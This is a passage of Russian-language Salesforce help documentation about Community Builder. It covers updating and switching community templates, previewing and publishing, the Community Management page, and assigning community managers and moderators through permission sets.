• Привключении группв сообществона странице «Сведенияо группе» поумолчаниюотображаются данныео группе.
Этастраницаиспользуеткомпонент «Группа» дляформатированияимакетирования. Компонент «Группа» представляет
собой составной универсальныйкомпонент, который включает баннер группы, сведения о группе, связанные списки
и ленту группы. Этот составной компонент рекомендуется использовать для того, чтобы страницы сообщества
реагировали в обозревателях настольных ПК и мобильных устройств.

• Чтобы использовать различные макеты или более детальное управление расположением содержимого группы,
создайте настраиваемую страницу сообщества и используйте компоненты «Баннер группы» ,«Сведения о группе»,
«Связанныйсписок группы» и «Лента». Взависимостиотнастройкиотдельныхкомпонентовнастраиваемыестраницы
могут отвечать не на всех устройствах.

• Объявления группы не поддерживаются в сообществе.

Список группы в Napili

Страница сведений о группе в Napili
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Управление общими параметрами сообщества в конструкторе сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения общих
параметров:
• «Создание сообществ и

управление ими»

Используйтестраницу «Общиепараметры» дляотслеживанияиспользуемогошаблона,
просмотра статуса сообщества и настройкишаблона. При использованиишаблона
Napili данная страница предоставляет удобный доступ к параметрам навигационных и
специальных тем.

Пользователи могут управлять данными общими параметрами сообщества прямо из
конструктора сообществ при использовании любого предварительно настроенного
шаблона сообщества, предоставленного системой Salesforce.

Чтобыполучить доступ к общимпараметрам в конструкторе сообществ, щелкните
на левой боковой панели и выберите «Общие».

Ниже перечислены доступные общие параметры.

• Заголовок сообщества

Позволяет установить заголовок для сообщества. Заголовок кратко отображается в строке заголовка обозревателя
перед загрузкой начальной страницы сообщества.
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• Шаблон сообщества

Отображение имени и версиишаблона, используемого сообществом.

• Опубликованный статус

Определение статуса публикации сообщества. Чтобы открыть опубликованное сообщество на отдельной вкладке
обозревателя, щелкните соответствующую ссылку.

• Профиль пользователя-гостя

Отображает соответствующийпрофильпользователя-гостя. Выборсоответствующейссылкиинициируетоткрытие
страницы «Профиль» меню «Настройка Salesforce», позволяющейизменятьпараметрыдляданногопрофиля (например,
полномочия пользователя-гостя). Дополнительную информацию о настройке профиля пользователя-гостя см. в
разделе «Настройка профиляпользователя-гостя для непроверенныхпользователей» Руководствапо внедрениюшаблонов
сообщества для самообслуживания.

• Задать навигационные темы (только шаблон Napili)

Щелкните ссылку для открытия страницы «Управление сообществом» и определения тем для навигации.

• Задать искомые темы (только шаблон Napili)

Щелкните ссылку для открытия страницы «Управление сообществом» и определения специальных тем.

• Скрыть область и навигацию заголовка (только версия Winter’16 для Napili и Spring ’16 для Koa, Kokua и Napili)

Скройте заголовок сообщества по умолчанию (в том числе изображение заголовка, поле поиска, меню сообщества
и меню навигации по профилю пользователя) на всех страницах сообщества. Выберите этот параметр, если нужно
заменить заголовок собственной версией.

• Отображать индикатор загрузки по мере загрузки страницы (только в версии Spring ’16 для Napili)

Отображает скопированную версию страницы сообщества до полной загрузки страницы, что повышает скорость
загрузки. Еслизаголовок страницыявляется высоко специализированнымископированная версия сильноотличается
от реальной версии, загружающейся в обозреватель, можно отключить этот параметр.

Обновление шаблона сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для обновления шаблона:
• «Создание и управление

сообществами»

Рекомендуемиспользоватьконструкторсообществдляпросмотраипримененияновой
версиишаблона сообщества. Обновлениешаблона не нарушает текущийфирменный
стиль, но сохраняет копию сообщества на основе устаревшей версиишаблона.
Пользователи получают доступ к новейшим стилям и функциям, а также возможность
восстановления предыдущей версиишаблона.

Ниже приведено несколько фактов, с которыми необходимо ознакомиться перед
обновлениемшаблона.

• Любой стиль компании, определенный с помощьюредакторафирменного стиля в
конструкторе сообществ, отменяется.

• Большинствонастроек и свойств компонентов непереносится. Прииспользовании
шаблоновсамообслуживания Koa и Kokua переносятсяобщиепараметры (например,
«Имя группыкатегорий», «Категория верхнего уровня» и «Название компании»). При
использованиишаблона Napili переносятся определения тем.

• Обновлениямишаблонов для сообществ с использованием вкладок Salesforce и
шаблона Visualforce нельзя управлять из конструктора сообществ.
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• URL-адрес начальной страницы вашего сообщества сохраняется автоматически без дополнительной настройки с
вашей стороны. Пользователи явно перенаправляются на новую начальную страницу при открытии сообщества.

• Обновлениеинициируетсохранениеустаревшейверсиисообществапосредствомуникального URL-адресаначальной
страницы. Чтобывосстановитьпредыдущуюверсиюшаблона сообщества, вручнуюзадайте этот URL-адрес в качестве
начальной страницы в Site.com Studio в поле «Конфигурация сайта».

Приналичиидоступногообновленияшаблонапользователямотображаетсякрасныйзначокуведомленияповерхзначка
«Параметры» в конструкторе сообществ. Обновление может применяться по мере необходимости; можно дождаться
удобного момента для обновления.

1. На странице «Управление сообществом» откройте меню «Управление сообществом» в верхнем колонтитуле и
выберите пунктПерейти к конструктору сообществ. You can also access Community Builder from the All Communities
page in Setup by clicking Builder next to your community name.

2. Щелкните красный значок уведомления, отображающийся поверх значка «Параметры».

3. Щелкните «Обновления» в разделе «Параметры».

4. Чтобыобновить текущуюверсиюшаблонаиподтвердитьнеобходимостьобновления, нажмите кнопку «Обновить».

5. Просмотрите все страницы сообщества на предмет их соответствия ожидаемому оформлению.

6. Чтобы применить обновления шаблона, опубликуйте сообщество.

СМ. ТАКЖЕ:

Управление общими параметрами сообщества в конструкторе сообществ

Общие сведения о конструкторе сообществ
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Рекомендации по изменению шаблона сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Изменение шаблона сообщества влияет на навигацию по сообществу, фирменный
стиль и настройки.

• Для отображения некоторых новых компонентов сообщества, предоставляемых
Salesforce, может потребоваться изменение шаблона сообщества. Чтобы сохранить
текущийшаблон, переключитесь на другой шаблон, затем обратно на текущий
шаблон. Предположим, длясообществаиспользуетсяшаблон Napili. Система Salesforce
предоставляет компонент, для которого требуется изменить шаблон (не просто
обновить). Следует переключитьшаблон сообщества на другойшаблон, например
Koa или Kokua, затем вернуться обратно к Napili.

• Данные объекта Salesforce переносятся, однако фирменный стиль и настройки
компонентов пропадают. Необходимо будет заново выполнить все настройки.

• Переключение между шаблонами инициирует обновление навигации на странице «Управление сообществом».
Чтобы просмотреть все доступные параметры на странице «Управление сообществом», независимо от выбранного
шаблона, последовательновыберитепункты «Администрирование» > «Настройки» > «Показатьвсепараметры
на странице управления сообществом».

• Переключениешаблона «ВкладкиSalesforce + Visualforce» нашаблонконструкторасообществилинаоборотинициирует
изменение URL-адреса сообщества. Например, при использованиишаблонов на основе конструктора сообществ
URL-адрес дополняется компонентом /s. Рекомендуем обновить все ссылки на сообщество посредством нового
URL-адреса.

Дополнительную информацию об использованиишаблонов Kokua, Koa и Napili см. в Руководстве по внедрению шаблонов
сообщества для самообслуживания.

Подробные сведения о шаблоне Aloha см. в разделеНачало работы с шаблоном сообщества Aloha для удостоверения Salesforce.

Предварительный просмотр сообщества посредством конструктора
сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или публикации
сообщества:
• «Создание и управление

сообществами»

Пользователимогутвыполнятьпредварительныйпросмотрвнешнеговидасообщества
в окне настольного обозревателя и на мобильных устройствах.

Функция предварительного просмотра, поддерживаемая конструктором сообществ,
позволяет заранее просматривать внешний вид активного сообщества.

• Чтобы выполнить предварительный просмотр сообщества в окне обозревателя,
нажмите кнопку «Предварительный просмотр» на панели инструментов.

• Чтобы просмотреть сообщество на собственной вкладке обозревателя, щелкните
значокразворачиваниянапротивкнопки «Предварительныйпросмотр» врежиме
предварительного просмотра.
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•
Чтобы просмотреть внешний вид сообщества на разных устройствах, воспользуйтесь параметрами меню .

–
На смартфонах: щелкните  «Телефон».

–
На планшетных компьютерах: щелкните  «Планшетный компьютер».

–
На мониторах настольных компьютеров: щелкните  «Жидкий».

–
В альбомной или книжной ориентации на смартфоне или планшетном компьютере: щелкните значок .

СМ. ТАКЖЕ:

Общие сведения о конструкторе сообществ

Публикация настроек посредством конструктора сообществ

Публикация настроек посредством конструктора сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или публикации
сообщества:
• «Создание сообществ и

управление ими»

Конструкторсообществпозволяетпубликоватьвнесенныеизменениядляпредоставления
доступа к обновлениям всем пользователям сообщества.

Прим.: Преждечемопубликоватьизменения, внесенныевконструкторесообществ,
убедитесь в активности сообщества.

1. Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка» и
выберитепункт«Всесообщества». Затемщелкнитессылку«Управление»напротив
имени нужного сообщества.

2. Настранице «Управлениесообществом»откройтеменю «Управлениесообществом»
в верхнем колонтитуле и выберите пунктПерейти к конструктору сообществ.
Кроме того, доступ к конструктору сообществ можно получить со страницы «Все
сообщества» меню «Настройка», нажав кнопкуКонструктор рядом с именем
сообщества.

3. Чтобыпроверитьправильностьотображениявнесенныхизменений, воспользуйтесь
предварительным просмотром сообщества.

4. Чтобы опубликовать внесенные изменения, нажмите кнопку «Опубликовать» на
панели инструментов.

Уведомление о публикации внесенных изменений будет отправлено по эл. почте.

СМ. ТАКЖЕ:

Общие сведения о конструкторе сообществ

Предварительный просмотр сообщества посредством конструктора сообществ
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Шаблоны сообщества

Какой шаблон сообщества следует использовать?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Шаблоны сообщества позволяют быстро создать сообщество, предоставляющее
клиентам одинаковые визуальные и функциональные возможности на разных
используемых устройствах.

Рекомендуемпредоставитьклиентамкомпаниивозможностьполучениябыстройпомощи
в любое время и в любом месте. Сообщество для самообслуживания предоставляет
клиентам быстрый доступ к нужной информации при возникновении вопросов.
Сообщества, созданныенаосновешаблонов Koa и Kokua, позволяютклиентамвыполнять
поиск по статьям базы знаний, а также при необходимости обращаться в службу
поддержки. При использовании сообщества, созданного на основе шаблона Napili,
клиенты могут выполнять поиск по статьям, а также задавать свои вопросы и получать
ценные ответы от участников сообщества. Кроме того, при отсутствии искомых статей
они могут обращаться в службу поддержки без выполнения входа. Благодаря шаблонам самообслуживания сообщества
могут бесперебойно использоваться на самых разных устройствах.

Мастер позволяет выбрать нужныйшаблон, а затем выполнить первоначальную настройку для категорий данных или
тем (в зависимости от используемого шаблона).

• Kokua — этовизуальнообогащенныйшаблонсамообслуживания, позволяющийпользователямпросматриватьстатьи
базы знаний, систематизированные по категориям данных. Кроме того, пользователи могут отправлять обращения
для получения помощи от агентов.

• Koa — это текстовыйшаблон самообслуживания, оптимизированный для мобильных устройств. Данныйшаблон
позволяет пользователям искать и просматривать статьи по текстовым представлениям категорий данных, а также
обращаться в службу поддержки при отсутствии искомых статей.
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• Napili — этомногофункциональныйшаблонсообществапоподдержке, позволяющийклиентампубликоватьвопросы
в сообщество, а также находить и просматривать статьи. При отсутствии искомых статей они могут обращаться к
агентам службы поддержки.

Конструктор сообществ чрезвычайно упрощает настройку сообществ пользователя. Просто отредактируйте некоторые
компоненты для включения сведений о сообществе и добавьте несколько изображений для расширения фирменного
стиля. Приложениеготовокиспользованию. Иникакогокодирования! Крометого, еслипользовательжелает статьболее
опытнымразработчиком, онможет создаватьнастраиваемыестраницы, добавлять компонентынастраницы, пользоваться
настраиваемыми компонентами Lightning и публиковать дополнительные объекты Salesforce.

Сообщества автоматически отображаются на языках профиля пользователя, выполнившего вход в систему, так что ему
не нужно создавать отдельные сообщества для каждого языка и управлять ими. С помощью конструктора сообществ
пользовательможетпубликоватьсправкидлягостевыхпользователейсообществ, такчто, еслиихязыкинеподдерживаются,
они могут выбрать язык с компонента «language picker» на странице сообщества. Возможность хранения всех языков в
одном сообществе позволяет избегать создания и управления отдельными сообществами для каждого языка.

СМ. ТАКЖЕ:

Создание сообществ

Сравнение компонентов, доступных в шаблонах сообщества

Настройка страниц сообщества

Сравнение компонентов, доступных в шаблонах сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Планируете использовать шаблон для создания сообщества? Компоненты, доступные
в каждомшаблоне сообщества, существенно различаются. Прежде чем решить, какой
шаблон использовать, сравните их.

Сравнение компонентов

Вкладки
Salesforce + Visualforce

NapiliKokuaKoa

Все объекты
Salesforce

Организации

Кампании

Обращения

Конструктор
сообществ

Дискуссии
сообщества

Контакты

Настраиваемые
объекты
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Вкладки
Salesforce + Visualforce

NapiliKokuaKoa

Настройки с
помощью
компонентов Lightning

Настройки с
помощью Visualforce

РекомендуемыйРекомендуемыйОбязательноОбязательно

Salesforce Knowledge

Знатоки

Интересы

Примечания

Возможности

Оптимизация для
мобильных устройств

Заказы

Функция создания
обращенияизвопроса

Рекомендации

Репутация

Темы

Обсуждаемые статьи

СМ. ТАКЖЕ:

Руководство по внедрению: использование шаблонов для создания сообществ

Руководство по внедрению: начало работы с сообществами Salesforce
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Управление сообществом

Совместная работа менеджеров, модераторов и администраторов
сообщества

Управление сообществом

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к странице
«Управление сообществом»:

• “«Управление
сообществами» ИЛИ
«Создание и настройка
сообществ»

• И участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Для настройки параметров
администрирования или
использования конструктора
сообществ:

• “«Создание и настройка
сообществ»

• И участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Управлениесообществом — этоуниверсальнаяобласть, предназначеннаядлянастройки
иотслеживаниясообщества. Администраторымогут управлять сведениямиобосновной
настройке, включая состав участников и фирменный стиль. Менеджеры сообщества
могут просматривать панели мониторинга для групп, участников, действий ленты и
показателейиспользованиялицензий, атакжеуправлятьуровнямирепутациисообщества.
Модераторы могут просматривать элементы, помеченные для проверки.

Сообщество может быть настроено в любое время. Прежде чем вносить важные
изменения, рекомендуем сначала деактивировать сообщество.

Важное замечание: Параметры, доступныенастранице «Управлениесообществом»,
определяются выбраннымшаблоном сообщества, назначенными полномочиями
и выполненными настройками. Например, меню «Темы» доступно только
сообществам, использующимтемы. Некоторыеизперечисленныхнижепараметров
могутбытьнеприменимывсообществе. Чтобыпоказатьвсеменю, последовательно
выберите пункты «Администрирование» > «Настройки» и установите флажок
«Показать все параметры на странице управления сообществом».

Начальная страница

• Просмотр панели мониторинга начальной страницы сообщества. Если на
начальнойстраницевсеещеотображаетсясообщениеонеобходимостиустановки
панели мониторинга сообществ Salesforce, значит, ваш администратор не
выполнил соотнесение панели мониторинга.

• Просмотр сообщества или получение доступа к настройкам сообщества в
конструкторе сообществ, Force.com или среде Site.com Studio посредством меню
управления сообществом в общем верхнем колонтитуле.

Подробные сведения
Отслеживание недавних действий и установление ее источника для дальнейших
действий.

Подробныесведениянастраиваютсяадминистратором.Отсутствиеменю«Подробные
сведения» указывает на отсутствие подробных сведений, соотнесенных
администратором для вашего сообщества.

Панели мониторинга
Просмотр панелей мониторинга и отслеживание сведений о группах, участниках,
действиях ленты, модерировании, темахипоказателяхиспользованиялицензийдля
данного сообщества.

Панели мониторинга настраиваются администратором.Отсутствие меню «Панели
мониторинга» указываетнаотсутствиепанелеймониторинга, соотнесенныхадминистраторомдлявашегосообщества.
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Модерирование
Просмотр списка сообщений, комментариев и файлов, помеченных участниками сообщества для проверки. Также
можно настроить правила модерирования вашего сообщества.

Модерирование настраивается администратором.Отсутствие меню «Модерирование» указывает на отсутствие
соответствующего полномочия, включенного администратором.

Модерированиепомеченныхсообщенийиликомментариевнастранице «Управлениесообществом»доступнотолько
приналичииполномочия «Модерированиелент сообществ». Модерированиепомеченныхфайлов доступно только
при наличии полномочия «Модерирование файлов сообществ».

Темы
Создание меню навигации и демонстрация популярных тем сообщества.

Навигационные темы и специальные темы настраиваются администратором или включаются по умолчанию (при
использованиишаблонов самообслуживания). Отсутствие меню «Темы» указывает на отсутствие соответствующей
функции в сообществе.

Рекомендации
Рекомендации стимулируют занятость в сообществе. Их можно настраивать для напоминания пользователям о
необходимости посмотреть видео, пройти обучение и т. д.

Рекомендации настраиваются администратором.Отсутствие меню «Рекомендации» указывает на отсутствие
соответствующейфункции, настроенной администратором.

Репутация
Настройка очков и уровней репутации, назначаемых участникам за выполнение определенных действий в ленте
сообщества.

Репутациянастраиваетсяадминистратором.Отсутствиеменю «Репутация» указываетнаотсутствиесоответствующей
функции, включенной администратором.

Администрирование
Страница «Администрирование» позволяет обновлять основные настройки сообщества, включая:

• «Участники»: добавление или удаление участников на основе профилей или наборов полномочий.

• «Вкладки»: выбор вкладок для отображения участникам сообщества. Кроме того, вкладки используются для
определения навигации по сообществу в приложении Salesforce1. Параметры вкладки не используются при
создании сообщества посредствомшаблона самообслуживания.

• «Фирменный стиль»: выбор стандартной темыфирменного стиля. Данныйфирменный стиль используется
только при создании сообщества посредствомшаблона «Вкладки Salesforce + Visualforce».

• «Входирегистрация»: выборстандартнойстраницывходасообществаинастройкасамостоятельнойрегистрации.

• «Сообщения эл. почты»: настройка сведений об отправителе, фирменного стиля сообщений эл. почты Chatter
ишаблонов для сообщений эл. почты сообщества.

• «Страницы»: настройка назначений страниц для сообщества и доступ к параметрам Force.com и Site.com для
сообщества.

• «Настройки»: обновление важных параметров (например, функция присвоения пометок содержимому,
возможность отображения прозвищ, общий доступ к Chatter и ограничения для файлов).

• «Параметры»: редактирование имени, описания и URL-адреса сообщества. Также можно управлять статусом
сообщества и менять шаблон сообщества.

Поиски в управлении сообществом первыми возвращают элементы, просмотренные недавно в рамках сообщества.
Если искомый объект не находится в списке «Недавно просмотренные документы», рекомендуем ввести имя объекта
полностью или частично и запустить поиск снова.
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Важное замечание: Администратор, удаливший себя из сообщества, не может просматривать параметрыменю
«Администрирование» на странице «Управление сообществом». Чтобы добавить себя обратно в сообщество
или выполнить другие обновления для состава участников, воспользуйтесь интерфейсом API.

СМ. ТАКЖЕ:

Кто такой менеджер сообщества?

Кто такой модератор сообщества?

Кто такой менеджер сообщества?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Каждое сообществодолжносодержать активного участника, влияющегонадальнейшее
развитие сообщества. Менеджеры сообщества должны ежедневно стимулировать
участников, поддерживать текущие обсуждения и награждать пользователей за их
достижения.

Менеджер сообщества — это участник сообщества, несущий дополнительную
ответственность за отслеживание занятости сообщества. Менеджерам сообщества
должны быть доступны отчеты и панели мониторинга, позволяющие просматривать
изменения по действиям и участникам. Кроме того, менеджерам должны отображаться
предупрежденияосокращенииколичествавходовучастников. Отслеживаниедействий
и участников сообщества позволяет менеджерам сообщества выбирать оптимальные
способыстимулированияучастниковсообществаигарантироватьихпостоянноеучастие.

Менеджеры сообщества могут награждать отдельных участников за их достижения; только менеджеры знают, что
полученные награды вызывают спортивный интерес участников сообщества, значительно повышая их активность.
Менеджеры сообщества могут настраивать систему очков и уровни репутации, которые назначаются участникам за
выполнение определенных действий. Участнику, достигающему верхнего порогового значения очков, назначается
следующий уровень.

Чтобы выбрать менеджера сообщества, назначьте нужному пользователю полномочие «Управление сообществами».
Данное полномочие предоставляет пользователюдоступ к странице «Управление сообществом». Пользователь должен
быть сотрудником организации; внешние участники сообщества не могут быть менеджерами сообщества.

СМ. ТАКЖЕ:

Назначение менеджера сообщества
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Назначение менеджера сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения наборов
полномочий:
• «Назначение наборов

полномочий»

Чтобы выбрать менеджера сообщества, назначьте нужному пользователюполномочие
«Управление сообществами».

Полномочие «Управление сообществами», назначенное пользователю, предоставляет
доступ ко всем функциям управления сообществом на странице «Управление
сообществом». Помните, что пользователь должен быть сотрудником организации;
внешние пользователи не могут быть менеджерами сообщества.

1. Введите строку «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Наборы полномочий», затем щелкнитеСоздать.

2. Создайтенаборполномочий, содержащийполномочие «Управлениесообществами».

3. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

4. Найдитепользователя, которыйдолженявлятьсяменеджеромсообщества, идобавьте
созданныйнаборполномочийвсвязанныйсписок «Назначениянабораполномочий».

Теперьпользовательможетуправлятьсообществомпосредствомстраницы «Управление
сообществом».

СМ. ТАКЖЕ:

Кто такой менеджер сообщества?

Кто такой модератор сообщества?
Успех сообщества во многом определяется активностью модераторов, отслеживающих действия пользователей и
помеченные элементы.

Какправило, чемуспешнеесообщество, темактивнееего участникивзаимодействуютдруг сдругом. Благодарямодератору
сообщества, участники сообщества могут активно обмениваться своими знаниями, получая и принося пользу
исключительносвоимучастием. Кроме того, модераторпомогает контролироватьипроверять все данныеи содержимое
сообщества на соответствие установленным требованиям.

Модераторами могут быть пользователи внутренней организации или внешние пользователи, но модерирование со
страницы «Управлениесообществом»доступнотольковнутреннимпользователям. Внешниепользователи, являющиеся
модераторами, могут модерировать в контексте сообщества (например, прямо в ленте Chatter). Данный пользователь
долженобладатьнавыкамивзаимодействияс клиентами, ориентироваться вфункциях SalesforceиChatter, а такженаходить
время на регулярные проверки сообщества.

Ниже перечислены действия, доступные модератору.

• Просмотр и управление списком помеченных сообщений и комментариев в сообществе

• Просмотр и управление списком помеченных файлов в сообществе

• Удаление пометок непосредственно в сообществе

• Удаление недопустимых сообщений, комментариев, личных сообщений и файлов

Ниже перечислены дополнительные возможности, доступные модератору на пути к успешному сообществу.

• Публикация важной и полезной информации в сообщениях сообщества

• Стимулирование участников сообщества для публикации сообщений и комментариев

• Активное участие для демонстрации возможностей сообщества
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• Проверка обсуждений на соблюдение предметности и отсутствие спама или противоречий

• Переадресацияцепочексообщенийэл. почтывсообществаприналичииинформации, полезнойдлядругихучастников
сообщества

• Укрепление позиций сообщества как надежного источника данных и форума для открытых обсуждений

При необходимости сообществу (особенно многочисленному) может быть назначено несколько модераторов.

Прим.: Несмотря на некоторые похожие полномочия, модератор сообщества отличается от модератора Chatter.

СМ. ТАКЖЕ:

Назначение модератора сообщества

Кому доступно модерирование?

Кому доступно модерирование?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Приналичиифункцииприсвоенияпометоксообществоможетмодерироватьсяразными
типами пользователей.

Модераторами могут быть пользователи внутренней организации или внешние
пользователи, но модерирование со страницы «Управление сообществом» доступно
тольковнутреннимпользователям. Внешниепользователи, являющиесямодераторами,
могут модерировать в контексте сообщества (например, прямо в ленте Chatter).
Выключениефункцииприсвоенияпометокдля участниковсообществанепрепятствует
присвоению пометок модераторами, тогда как менеджеры и ответственные за группы
могут модерировать только при наличии включеннойфункции присвоения пометок.

Возможность модерирования сообщества определяется полномочиями или уровнем
ответственностиза группу. Даннаятаблицаопределяетпользователей, которымдоступно
модерирование, а также действия, доступные им в пользовательском интерфейсе.

Ответственный или
менеджер группы (для
элементов собственных
или управляемых групп)

Пользователь с
полномочием
«Модерирование файлов
сообществ»

Пользователь с
полномочием
«Модерирование лент
сообществ»

Действие

Удаление пометок для
сообщенияиликомментария

Удаление сообщения или
комментария

Удалениепометокдляфайла

Удаление файла

СМ. ТАКЖЕ:

Кто такой модератор сообщества?

Кто такой модератор сообщества?

Назначение модератора сообщества
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Назначение модератора сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения наборов
полномочий:
• «Назначение наборов

полномочий»

Назначьте как минимум одного пользователя модератором сообщества для
модерирования содержимого этого сообщества.

Модераторами могут быть пользователи внутренней организации или внешние
пользователи, но модерирование со страницы «Управление сообществом» доступно
тольковнутреннимпользователям. Внешниепользователи, являющиесямодераторами,
могут модерировать в контексте сообщества (например, прямо в ленте Chatter).

Чтобыназначитьмодераторов, рекомендуемназначитьнаборполномочий, содержащий
одно или несколько полномочий для модерирования.

Доступные действияПолномочие

Просмотр помеченных сообщений и
комментариев, а также выполнение
действий (например, удаление пометок,
сообщений или комментариев). Действия
модератора для содержимого ленты
доступны в ленте сообщества и на
странице «Управление сообществом».

Модерирование лент сообществ

Просмотрдоступныхпомеченныхфайлов,
а также выполнение действий (например,

Модерирование файлов сообществ

удаление пометок или файла). Действия
модераторафайловдоступнынастранице
сведений о файле и в управлении
сообществом.

Можно отправить электронные
уведомления при пометке личных
сообщений и действий в API.

Модерирование сообщений сообществ
Chatter

Можно просматривать содержимое
личныхсообщенийивыполнятьдействия
в API.

Управление сообщениями Chatter

Модерирование помеченных сообщений
и файлов на странице «Управление
сообществом».

Управление сообществами

ИЛИ

Создание и настройка сообществ

Принеобходимостидобавьтеданныеполномочиявпрофиль. Данныеполномочияраспространяютсянавсе сообщества,
участником которых является пользователь, но не применяются ко внутренней организации.

1. Введите строку «Наборы полномочий» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Наборы
полномочий», затем щелкнитеСоздать.

2. Создайте набор полномочий, содержащий соответствующие полномочия.

3. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Пользователи».
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4. Найдитепользователя, которыйдолженявлятьсямодераторомсообщества, идобавьте созданныйнаборполномочий
в связанный список «Назначения набора полномочий».

После предоставления полномочий модератора пользователи могут помогать в проверке помеченного содержимого
сообщества.

• Теперь пользователь может модерировать любые элементы, доступные во всех сообществах с его участием.
Пользователь может помечать элементы, несмотря на выключение параметра сообщества «Разрешить участникам
помечать содержимое».

• Сообщество, параметр «Разрешить участникам помечать содержимое» которого включен, позволяет менеджерам
и ответственным за группы модерировать сообщения, комментарии ифайлы в собственных и управляемых группах.
Они могут просматривать пометки и их количества, а также удалять пометки и содержимое.

• Модераторымогут получать электронное уведомлениеоналичиипомеченного сообщения, комментарияилифайла
путем установки флажка «Помечает элемент как недопустимый».

Доступ к функциям модератора определяется предоставленными полномочиями пользователя.

• В ленте сообщества. При наличии полномочия «Модерирование лент сообществ» внутренние и внешние
пользователи могут просматривать индикаторы пометок прямо в ленте сообщества для сообщений и комментариев,
а также определять необходимость удаления пометок или содержимого.

• На странице «Управление сообществом». Только внутренние пользователи с полномочием «Управление
сообществами» или «Создание и настройка сообществ» имеют доступ к области «Модерирование» на странице
«Управление сообществом». Полномочие «Модерирование лент сообществ» предоставляет пользователям доступ к
странице «Помеченныезаписи», аполномочие «Модерированиефайлов сообществ» предоставляетпользователям
доступ к странице «Помеченныефайлы».

СМ. ТАКЖЕ:

Кто такой модератор сообщества?

Общие сведения о модерировании сообществ

Включение функции присвоения пометок для пользователей сообщества
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Доступ к управлению сообществом

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к странице
«Управление сообществом»:

• “«Управление
сообществами» ИЛИ
«Создание и настройка
сообществ»

• И участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Для настройки параметров
администрирования или
использования конструктора
сообществ:

• “«Создание и настройка
сообществ»

• И участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Администраторы и менеджеры сообщества используют страницу «Управление
сообществом» для отслеживания действий сообщества и настройки других важных
функций управления.

Страница «Управление сообществом» доступна пользователям только после входа в
сообщество.

1. Щелкните значок в общем верхнем колонтитуле сообщества.

Полномочие «Создание и настройка сообществ» предоставляет участникам
сообщества доступ к странице «Управление сообществом» на странице «Все
сообщества» меню «Настройка».

2. Выберите нужный компонент сообщества.

• Просмотр сообщества или получение доступа к настройкам сообщества в
конструкторе сообществ, Force.com или среде Site.com Studio посредством меню
Управление сообществом в общем верхнем колонтитуле.

• Просмотр отчетов о подробных сведениях и осуществление действийна основе
активности сообщества посредством меню «Подробные сведения».

• Просмотр панелей мониторинга и отчетов сообщества посредством меню
«Панели мониторинга».

• Настройкаправилмодерированияиотслеживаниепомеченныхэлементовленты
в меню «Модерирование».

• Управление навигационными и специальными темами посредством меню
«Темы».

• Настройка пользовательских рекомендаций для отображения в сообществе с
помощью меню «Рекомендации».

• Настройка уровней репутации и баллов посредством меню «Репутация».

• Настройка свойств сообщества, таких как имя, описание, URL-адрес, статус и
шаблон, посредствомменю«Администрирование». Здесьтакжеможнообновить
такие настройки сообщества, как участники, вкладки, фирменный стиль, логин,
регистрация и сообщения электронной почты.

Важное замечание: Параметры, доступные на странице «Управление
сообществом», определяютсявыбраннымшаблономсообщества, назначенными
полномочиями и выполненными настройками. Например, меню «Темы»
доступно только сообществам, использующим темы. Некоторые из
перечисленных ниже параметров могут быть неприменимы в сообществе.
Чтобы показать все меню, последовательно выберите пункты
«Администрирование» > «Настройки»иустановитефлажок «Показатьвсе
параметры на странице управления сообществом».
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Стратегии и инструменты модерирования сообщества

Общие сведения о модерировании сообществ

ВЕРСИИ

